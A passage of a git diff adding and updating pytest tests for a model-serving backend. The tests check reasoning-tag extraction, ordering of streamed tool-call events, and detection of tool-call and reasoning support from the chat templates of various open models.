+            "",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == ""
+
+    def test_prefilled_whitespace_after_close_is_visible(self):
+        # T6: Qwen commonly emits </think>\n\n before the answer.
+        reasoning, visible = _extract_responses_reasoning(
+            "plan</think>\n\nanswer",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "plan"
+        assert visible == "\n\nanswer"
+
+    def test_prefilled_stray_open_tag_is_suppressed(self):
+        # T7: a re-emitted literal <think> inside prefilled reasoning is dropped,
+        # not leaked into the drawer (covers enable_thinking_effort full-tag output).
+        reasoning, visible = _extract_responses_reasoning(
+            "a<think>b</think>c",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == "ab"
+        assert visible == "c"
+        assert "<think>" not in reasoning
+
+    def test_prefilled_close_at_start_empty_reasoning(self):
+        # T8: model closed immediately (empty reasoning) then answered.
+        reasoning, visible = _extract_responses_reasoning(
+            "</think>hi",
+            parse_think_markers = True,
+            reasoning_prefilled = True,
+        )
+        assert reasoning == ""
+        assert visible == "hi"
+
+    def test_not_prefilled_lone_close_preserves_current_behavior(self):
+        # T9: without prefilled, a lone close tag keeps the pre-fix behavior (parity guard).
+        reasoning, visible = _extract_responses_reasoning(
+            "reasoning</think>ans",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "reasoningans"
+
+    def test_not_prefilled_full_pair_still_splits(self):
+        # T10: normal explicit <think>..</think> (GGUF / Harmony) unchanged.
+        reasoning, visible = _extract_responses_reasoning(
+            "<think>r</think>v",
+            parse_think_markers = True,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == "r"
+        assert visible == "v"
+
+    def test_prefilled_ignored_when_markers_not_parsed(self):
+        # T11: a non-reasoning model passes text through even with reasoning_prefilled False.
+        reasoning, visible = _extract_responses_reasoning(
+            "just an answer",
+            parse_think_markers = False,
+            reasoning_prefilled = False,
+        )
+        assert reasoning == ""
+        assert visible == "just an answer"
+
+
+# =====================================================================
+# Streaming passthrough healing — text-form calls promoted in order
+# =====================================================================
+
+
+class TestResponsesStreamHealing:
+    """Route-level healing on the /v1/responses stream: text-form tool calls
+    are promoted through the same per-call item state machinery as structured
+    deltas, and healer events keep their order (text around a healed call must
+    not move relative to the function_call item)."""
+
+    _XML = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+    _TOOL = {"type": "function", "name": "lookup", "parameters": {"type": "object"}}
+
+    @staticmethod
+    def _ordered_events(lines):
+        events = []
+        for line in lines:
+            if not line.startswith("event: "):
+                continue
+            name, _, rest = line.partition("\n")
+            payload = json.loads(rest.split("data: ", 1)[1].strip())
+            events.append((name[len("event: ") :], payload))
+        return events
+
+    def _run_stream(self, monkeypatch, content, **payload_kwargs):
+        TestResponsesStreamAdapter._install_stream_mock(
+            monkeypatch, [{"choices": [{"delta": {"content": content}}]}]
+        )
+        payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload, messages, TestResponsesStreamAdapter._Request()
+            )
+            return await TestResponsesStreamAdapter._collect(response)
+
+        return self._ordered_events(asyncio.run(run()))
+
+    def test_text_around_healed_call_keeps_order(self, monkeypatch):
+        events = self._run_stream(monkeypatch, f"before {self._XML} after.")
+        pos_before = pos_item = pos_after = None
+        for i, (name, payload) in enumerate(events):
+            if name == "response.output_text.delta":
+                if "before" in payload["delta"] and pos_before is None:
+                    pos_before = i
+                if "after" in payload["delta"]:
+                    pos_after = i
+            if (
+                name == "response.output_item.added"
+                and payload["item"]["type"] == "function_call"
+                and pos_item is None
+            ):
+                pos_item = i
+                assert payload["item"]["name"] == "lookup"
+        assert pos_before is not None and pos_item is not None and pos_after is not None
+        assert pos_before < pos_item < pos_after
+
+    def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch):
+        events = self._run_stream(monkeypatch, f"{self._XML} done.")
+        item_added = [
+            (name, payload) for name, payload in events if name == "response.output_item.added"
+        ]
+        # The call came first in the model output, so its item is added first
+        # and claims the lower output_index; the trailing text's message item
+        # follows.
+        assert [payload["item"]["type"] for _, payload in item_added] == [
+            "function_call",
+            "message",
+        ]
+        call_idx = item_added[0][1]["output_index"]
+        msg_idx = item_added[1][1]["output_index"]
+        assert call_idx < msg_idx
+        text = "".join(
+            payload["delta"] for name, payload in events if name == "response.output_text.delta"
+        )
+        assert "done." in text
+        assert "<tool_call>" not in text
+
+    def test_tool_choice_none_streams_raw_text(self, monkeypatch):
+        events = self._run_stream(monkeypatch, self._XML, tool_choice = "none")
+        assert not any(
+            payload["item"]["type"] == "function_call"
+            for name, payload in events
+            if name == "response.output_item.added"
+        )
+        text = "".join(
+            payload["delta"] for name, payload in events if name == "response.output_text.delta"
+        )
+        assert text == self._XML
+
+    def test_healed_call_splits_message_items(self, monkeypatch):
+        # Text on both sides of a healed call becomes TWO message items: the
+        # healed function_call closes the first, trailing text opens a fresh
+        # one with a later output index (native Responses stream shape).
+        events = self._run_stream(monkeypatch, f"before {self._XML} after.")
+        added = [
+            (payload["output_index"], payload["item"]["type"], payload["item"].get("id"))
+            for name, payload in events
+            if name == "response.output_item.added"
+        ]
+        assert [item_type for _, item_type, _ in added] == [
+            "message",
+            "function_call",
+            "message",
+        ]
+        assert [idx for idx, _, _ in added] == sorted(idx for idx, _, _ in added)
+        assert added[0][2] != added[2][2]  # distinct message item ids
+        # Text deltas attribute to their OWN message item.
+        deltas = [
+            (payload["item_id"], payload["delta"])
+            for name, payload in events
+            if name == "response.output_text.delta"
+        ]
+        assert [d for i, d in deltas if i == added[0][2]] == ["before "]
+        assert [d for i, d in deltas if i == added[2][2]] == [" after."]
+        # The completed snapshot lists all three items with per-item text.
+        completed = [payload for name, payload in events if name == "response.completed"]
+        output = completed[0]["response"]["output"]
+        assert [item["type"] for item in output] == ["message", "function_call", "message"]
+        assert output[0]["content"][0]["text"] == "before "
+        assert output[2]["content"][0]["text"] == " after."
+
+    def test_parallel_cap_drops_native_after_healed(self, monkeypatch):
+        # parallel_tool_calls=false: a healed call consumed the single allowed
+        # slot; a later native structured call (index 0, so it survives
+        # _drop_parallel_tool_call_deltas) must not open a second
+        # function_call item.
+        TestResponsesStreamAdapter._install_stream_mock(
+            monkeypatch,
+            [
+                {"choices": [{"delta": {"content": self._XML}}]},
+                {
+                    "choices": [
+                        {
+                            "delta": {
+                                "tool_calls": [
+                                    {
+                                        "index": 0,
+                                        "id": "call_up",
+                                        "function": {"name": "lookup", "arguments": "{}"},
+                                    }
+                                ]
+                            }
+                        }
+                    ]
+                },
+            ],
+        )
+        payload = ResponsesRequest(
+            input = "hi",
+            stream = True,
+            tools = [self._TOOL],
+            parallel_tool_calls = False,
+        )
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload, messages, TestResponsesStreamAdapter._Request()
+            )
+            return await TestResponsesStreamAdapter._collect(response)
+
+        events = self._ordered_events(asyncio.run(run()))
+        calls = [
+            payload
+            for name, payload in events
+            if name == "response.output_item.added" and payload["item"]["type"] == "function_call"
+        ]
+        assert len(calls) == 1
+        assert calls[0]["item"]["name"] == "lookup"
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 13cb6bbd46..0ed670ac01 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -11,6 +11,8 @@ from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock
 
+import pytest
+
 _backend_root = Path(__file__).resolve().parent.parent
 if str(_backend_root) not in sys.path:
     sys.path.insert(0, str(_backend_root))
@@ -46,6 +48,21 @@ reasoning_effort: {{ reasoning_effort }}
 """
 
 
+# DeepSeek-V4-Flash: an enable_thinking on/off gate PLUS a reasoning_effort
+# 'max' preamble. The shipped template only *branches* on 'max' ('high' renders
+# identically to thinking-on-without-the-preamble), so the literal scan alone
+# would surface only ['max']; the classifier adds 'high' for deepseek-v4 to
+# expose the encoder's full none/high/max ladder.
+DEEPSEEK_V4_TEMPLATE = (
+    "{%- if not thinking is defined %}"
+    "{%- if enable_thinking is defined %}{%- set thinking = enable_thinking %}"
+    "{%- else %}{%- set thinking = false %}{%- endif %}{%- endif %}\n"
+    "{%- if thinking and reasoning_effort == 'max' %}"
+    "{{- 'Reasoning Effort: Absolute maximum' }}{%- endif %}\n"
+    "{%- for message in messages %}{{- message.content }}{%- endfor %}"
+)
+
+
 PLAIN_TEMPLATE = """
 {%- for message in messages %}
   {{- message.role + ': ' + message.content + '\\n' }}
@@ -88,6 +105,29 @@ def test_detect_reasoning_flags_none_template_returns_all_false():
     assert flags["reasoning_style"] == "enable_thinking"
 
 
+def test_detect_reasoning_flags_deepseek_v4_exposes_none_high_max():
+    """DeepSeek-V4-Flash: enable_thinking gate + reasoning_effort 'max' preamble.
+    Classified as the hybrid style with the full none/high/max ladder even
+    though the template only branches on 'max'."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash-GGUF")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+    assert flags["reasoning_always_on"] is False
+
+
+def test_detect_reasoning_flags_non_deepseek_v4_effort_only_max_not_injected():
+    """The 'high' injection is scoped to deepseek-v4: a different model whose
+    template only branches on 'max' keeps ['max'] (no phantom 'high')."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
 def test_detect_safetensors_features_passes_template_through_to_classifier():
     """Route wrapper forwards a real template to the inner classifier."""
     from routes.inference import _detect_safetensors_features
@@ -127,9 +167,8 @@ def test_detect_safetensors_features_gptoss_disables_tools():
     assert flags["supports_tools"] is False
 
 
-# Llama-3 / Mistral advertise tools but emit <|python_tag|> / [TOOL_CALLS],
-# which our parser can't read. The route helper must not flip supports_tools=True
-# for them, else the UI enables a pill the agentic loop can't honour.
+# Llama-3 / Mistral / Gemma 4 tool-call formats are now parser-supported, so supports_tools=True
+# must hold for all of them; only templates matching none of the five known markers are suppressed.
 
 LLAMA3_TEMPLATE = """
 {%- if tools %}
@@ -161,27 +200,188 @@ MISTRAL_TEMPLATE = """
 {%- endfor %}
 """
 
+GEMMA4_TEMPLATE = """
+{%- if tools %}
+  {{- 'Tools available. Emit calls as ' }}
+  {{- '<|tool_call>call:NAME{key:<|"|>val<|"|>}<tool_call|>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
 
-def test_detect_safetensors_features_llama3_template_suppresses_tools():
-    """Llama-3 emits <|python_tag|>; safetensors loop cannot parse it."""
+
+def test_detect_safetensors_features_llama3_template_keeps_tools_on():
+    """Llama-3 emits <|python_tag|>; parser now supports it."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
     flags = _detect_safetensors_features(backend, LLAMA3_TEMPLATE)
-    assert flags["supports_tools"] is False
+    assert flags["supports_tools"] is True
 
 
-def test_detect_safetensors_features_mistral_template_suppresses_tools():
-    """Mistral emits [TOOL_CALLS]; safetensors loop cannot parse it."""
+def test_detect_safetensors_features_mistral_template_keeps_tools_on():
+    """Mistral emits [TOOL_CALLS]name{json}, which the safetensors loop now parses
+    (the shared bracket-tag parser). The gate must no longer suppress it, or the
+    PR's Mistral tool support is unreachable through normal capability detection."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/mistral-7b-instruct-v0.3")
     flags = _detect_safetensors_features(backend, MISTRAL_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_gemma4_template_keeps_tools_on():
+    """Gemma 4 emits <|tool_call>; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-E2B-it-UD-MLX-4bit")
+    flags = _detect_safetensors_features(backend, GEMMA4_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# DeepSeek V3 / V3.1 / R1 emit ``<｜tool▁calls▁begin｜>...`` blocks.
+# Note the full-width pipe (U+FF5C) and lower-1/8-block (U+2581).
+DEEPSEEK_TEMPLATE = """
+{%- if tools %}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    {%- for tc in message.tool_calls %}
+      {{- '<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>' + tc.function.name +
+          '<｜tool▁sep｜>' + tc.function.arguments + '<｜tool▁call▁end｜>' }}
+    {%- endfor %}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_deepseek_template_keeps_tools_on():
+    """DeepSeek emits ``<｜tool▁calls▁begin｜>...``; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, DEEPSEEK_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# GLM 4.5 / 4.6 / 4.7 emit ``<tool_call>NAME\n<arg_key>...<arg_value>...
+GLM_TEMPLATE = """
+{%- if tools %}
+  For each function call, output the function name and arguments within
+  the following XML format:
+  <tool_call>{function-name}
+  <arg_key>{arg-key}</arg_key>
+  <arg_value>{arg-value}</arg_value>
+  </tool_call>
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_glm_template_keeps_tools_on():
+    """GLM 4.x emits ``<tool_call>NAME\\n<arg_key>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/GLM-4.6")
+    flags = _detect_safetensors_features(backend, GLM_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# Kimi K2 / Moonshot uses ``<|tool_calls_section_begin|>...`` blocks
+# with ``functions.NAME:IDX`` as the per-call id.
+KIMI_TEMPLATE = """
+{%- if tools %}
+  <|im_system|>tool_declare<|im_middle|>{{ tools | tojson }}<|im_end|>
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    <|tool_calls_section_begin|>
+    {%- for tc in message.tool_calls %}
+      <|tool_call_begin|>{{ tc.id }}<|tool_call_argument_begin|>{{ tc.function.arguments | tojson }}<|tool_call_end|>
+    {%- endfor %}
+    <|tool_calls_section_end|>
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_kimi_template_keeps_tools_on():
+    """Kimi K2 emits ``<|tool_calls_section_begin|>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Kimi-K2-Instruct")
+    flags = _detect_safetensors_features(backend, KIMI_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+LLAMA3_2_BARE_JSON_TEMPLATE = """
+{%- if tools %}
+  {{- 'Given the following functions, respond with JSON for a function call.' }}
+  {{- 'Respond in the format {"name": function name, "parameters": dictionary}.' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if 'tool_calls' in message %}
+    {{- '{"name": "' + message.tool_calls[0].function.name + '", '}}
+    {{- '"parameters": ' + (message.tool_calls[0].function.arguments | tojson) + '}' }}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_llama3_2_bare_json_keeps_tools_on():
+    """Llama-3.2 bare JSON is supported, so the pill stays enabled."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, LLAMA3_2_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+MINICPM5_ATTRIBUTE_TEMPLATE = """
+{%- if tools %}
+  {{- 'Available tools. Emit calls as ' }}
+  {{- '<function name="NAME"><parameter name="key">value</parameter></function>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_attribute_function_form_keeps_tools_on():
+    """The attribute form ``<function name="...">`` must be whitelisted or the pill is wrongly suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "openbmb/MiniCPM-5")
+    flags = _detect_safetensors_features(backend, MINICPM5_ATTRIBUTE_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_unknown_format_suppresses_tools():
+    """Tools advertised with no known marker must be suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}<|im_start|>system\n"
+        "Emit tool calls as JSON-RPC notifications inside the response."
+        "<|im_end|>{%- endif %}"
+    )
+    backend = SimpleNamespace(active_model_name = "custom/unknown-tool-format")
+    flags = _detect_safetensors_features(backend, tpl)
     assert flags["supports_tools"] is False
 
 
 def test_detect_safetensors_features_qwen_tool_call_keeps_tools_on():
-    """Sanity check: gate only suppresses non-Qwen formats."""
+    """Sanity check: Qwen <tool_call> marker still flips supports_tools."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Qwen3-0.6B")
@@ -203,6 +403,20 @@ def test_detect_safetensors_features_function_xml_format_keeps_tools_on():
     assert flags["supports_tools"] is True
 
 
+def test_detect_safetensors_features_gemma_native_tool_call_keeps_tools_on():
+    """Gemma 4 emits <|tool_call>call:name{...}<tool_call|>, which the shared
+    parser now reads, so the gate must not suppress tools for it."""
+    from routes.inference import _detect_safetensors_features
+
+    tpl_with_gemma_native = (
+        "{%- if tools -%}Tool call format: "
+        "<|tool_call>call:name{key:value}<tool_call|>{%- endif -%}"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-12b-it")
+    flags = _detect_safetensors_features(backend, tpl_with_gemma_native)
+    assert flags["supports_tools"] is True
+
+
 # Qwen3.5 family pin: the live GGUF + safetensors templates both wrap tool
 # calls as ``<tool_call>\n<function=name>...``. Faithful slice so the
 # classifier never silently regresses for this family.
@@ -440,3 +654,184 @@ def test_route_layer_emits_supports_tools_true_for_qwen3_safetensors():
     assert flags["supports_tools"] is True
     assert flags["supports_reasoning"] is True
     assert flags["supports_preserve_thinking"] is True
+
+
+@pytest.mark.parametrize(
+    "opener",
+    [
+        "<｜tool▁calls▁begin｜>",  # canonical
+        "<｜tool_calls_begin｜>",  # ASCII underscores
+        "<｜tool▁calls｜>",  # short form
+        "<｜tool calls begin｜>",  # spaces
+        "<｜tool\\_calls\\_begin｜>",  # escaped underscores
+    ],
+)
+def test_detect_safetensors_features_deepseek_opener_variants_keep_tools_on(opener):
+    # Every DeepSeek opener the parser accepts must keep supports_tools on; the route gate derives
+    # its markers from the parser's TOOL_XML_SIGNALS so it can no longer drift behind the parser ...
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}tools{%- endif %}"
+        + opener
+        + "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# Templates that advertise tools ({%- if tools %}) and prompt the bare-JSON
+# call form, but whose ``{"name":`` example is pretty-printed or JSON-escaped.
+_WHITESPACE_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    "To call a tool, output JSON of the form:\n"
+    '{ "name" : "function_name", "parameters": { } }\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_ESCAPED_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    'Respond with {\\"name\\": \\"fn\\", \\"parameters\\": {}}\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_TOOLS_ADVERTISED_NO_PARSEABLE_FORM = (
+    "{%- if tools %}\nYou may use the available tools.\n{%- endif %}\n{{ messages }}"
+)
+
+
+def test_detect_safetensors_features_keeps_tools_for_pretty_printed_bare_json():
+    # A pretty-printed bare-JSON example (``{ "name" :``) must keep supports_tools since the parser
+    # accepts that whitespace via raw_decode.
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _WHITESPACE_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_keeps_tools_for_escaped_bare_json():
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _ESCAPED_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_drops_tools_when_no_parseable_form():
+    # Negative control: tools advertised but no parser-recognised emission form at
+    # all -> the pill is still dropped (the gate is not now matching everything).
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _TOOLS_ADVERTISED_NO_PARSEABLE_FORM)
+    assert flags["supports_tools"] is False
+
+
+def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json():
+    # A template documenting the parser-supported {"function":...} bare-JSON alias
+    # must keep supports_tools, mirroring the {"name":...} form.
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}\n"
+        'Respond with {"function": "fn", "parameters": {}}\n'
+        "{%- endif %}\n"
+        "{{ messages }}"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor (GGUF reasoning parity).
+class TestSafetensorsReasoningPrefillGate:
+    # A minimal Qwen3-style template with the standard <think>/</think> markers.
+    _QWEN_TPL = "{% if enable_thinking %}<think>{% endif %}...</think>..."
+    # gemma-style bespoke reasoning channel -- no standard markers.
+    _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought<channel|>"
+    # always-on template whose GENERATION PROMPT opens an unclosed <think> (DeepSeek-R1 / QwQ /
+    # Qwen3-Thinking shape): the model emits only the closing </think>, so prefill.
+    _ALWAYS_ON_OPEN_TPL = (
+        "{% for m in messages %}{{ m['content'] }}{% endfor %}"
+        "{% if add_generation_prompt %}<|assistant|><think>\n{% endif %}"
+    )
+    # always-on template that renders PAST assistant <think>...</think> history but leaves the
+    # generation prompt open with no <think> (Kimi-K2-Thinking shape): the model self-emits its
+    # own block, so prefill mode would blank a normal answer.
+    _ALWAYS_ON_HISTORY_TPL = (
+        "{% for m in messages %}"
+        "{% if m['role'] == 'assistant' %}<think>{{ m.get('reasoning_content', '') }}</think>"
+        "{{ m['content'] }}{% endif %}"
+        "{% endfor %}"
+        "{% if add_generation_prompt %}<|im_assistant|>assistant<|im_middle|>{% endif %}"
+    )
+
+    def _features(self, **over):
+        base = {
+            "supports_reasoning": True,
+            "reasoning_always_on": False,
+            "reasoning_style": "enable_thinking",
+        }
+        base.update(over)
+        return base
+
+    def test_g1_enable_thinking_true(self):
+        # G1: Qwen3.5 template + explicit enable_thinking=True -> prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._QWEN_TPL) is True
+
+    def test_g2_enable_thinking_none_defaults_on(self):
+        # G2: default request (None) -> prefilled (Qwen3/GLM templates default on).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), None, self._QWEN_TPL) is True
+
+    def test_g3_enable_thinking_false(self):
+        # G3: thinking explicitly off -> not prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), False, self._QWEN_TPL) is False
+
+    def test_g4_gpt_oss_reasoning_effort_excluded(self):
+        # G4: gpt-oss uses explicit tags via HarmonyTextStreamer -> normal mode.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "reasoning_effort")
+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g5_enable_thinking_effort_included(self):
+        # G5: GLM-style enable_thinking_effort also prefills.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "enable_thinking_effort")
+        assert _sf_reasoning_prefill_mode(feats, None, self._QWEN_TPL) is True
+
+    def test_g6_non_reasoning_model(self):
+        # G6: no reasoning capability -> never prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(supports_reasoning = False, reasoning_style = None)
+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g7_reasoning_always_on_prompt_opens_think(self):
+        # G7: always-on template whose generation prompt opens <think> -> prefilled regardless of the flag.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, False, self._ALWAYS_ON_OPEN_TPL) is True
+
+    def test_g7b_reasoning_always_on_history_only_not_prefilled(self):
+        # G7b (#5704): always-on classification from rendered assistant HISTORY <think></think>
+        # (Kimi-K2-Thinking) whose generation prompt opens no <think>. Prefill mode would capture a
+        # normal answer entirely as reasoning_content and blank the visible answer, so it must be off.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_always_on = True)
+        assert _sf_reasoning_prefill_mode(feats, None, self._ALWAYS_ON_HISTORY_TPL) is False
+
+    def test_g8_gemma_bespoke_channel_excluded(self):
+        # G8: gemma's <|think|>/<|channel> format has no </think> -> NOT prefilled
+        # (would otherwise swallow the whole answer as reasoning). Regression guard.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False
+
+    def test_g9_missing_template_not_prefilled(self):
+        # G9: no template available -> conservative (not prefilled).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, None) is False
diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py
new file mode 100644
index 0000000000..4e708139b7
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_reasoning_stream.py
@@ -0,0 +1,217 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Safetensors/MLX reasoning-block parity with GGUF.
+
+enable_thinking templates (Qwen3/GLM) prefill an unclosed ``<think>`` so the model
+emits only the closing ``</think>`` then the answer; the safetensors stream must
+split the leading text into ``reasoning_content`` deltas (plain stream and tool
+loop), resetting per turn and appending only visible text to the monitor. Replays a
+copy of ``sf_tool_stream``'s reasoning loop against synthetic events.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from routes.inference import (
+    _ResponsesReasoningExtractor,
+    _sf_reasoning_prefill_mode,
+    _strip_tool_xml_for_display,
+)
+
+
+_THINK_TPL = "...<think>...</think>..."
+_ETHINK = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
+_ETHINK_EFFORT = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
+
+
+def test_prefill_mode_on_for_enable_thinking_default():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, _THINK_TPL) is True
+
+
+def test_prefill_mode_off_when_thinking_disabled():
+    assert _sf_reasoning_prefill_mode(_ETHINK, False, _THINK_TPL) is False
+
+
+def test_prefill_mode_off_for_reasoning_effort_none():
+    # enable_thinking_effort turns thinking off via reasoning_effort="none"; prefilled mode
+    # would capture the whole answer as reasoning_content.
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "none")
+        is False
+    )
+    assert (
+        _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "high")
+        is True
+    )
+
+
+def test_prefill_mode_off_without_think_markers():
+    assert _sf_reasoning_prefill_mode(_ETHINK, None, "no markers here") is False
+
+
+def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict:
+    """Mirror sf_tool_stream's reasoning loop: diff each cumulative ``content``
+    snapshot, feed the delta through the extractor, and reset (flushing first) on
+    ``tool_start`` / empty ``status`` so each turn splits independently."""
+    prev_text = ""
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = True, reasoning_prefilled = prefilled
+    )
+    reasoning_deltas: list[str] = []
+    visible_deltas: list[str] = []
+    monitor: list[str] = []
+    tool_starts: list[dict] = []
+    order: list[str] = []  # sequence of ("reasoning"|"visible"|"tool_start") events
+
+    def _flush():
+        fr, fv = extractor.finish()
+        if fr:
+            reasoning_deltas.append(fr)
+            order.append("reasoning")
+        if fv:
+            visible_deltas.append(fv)
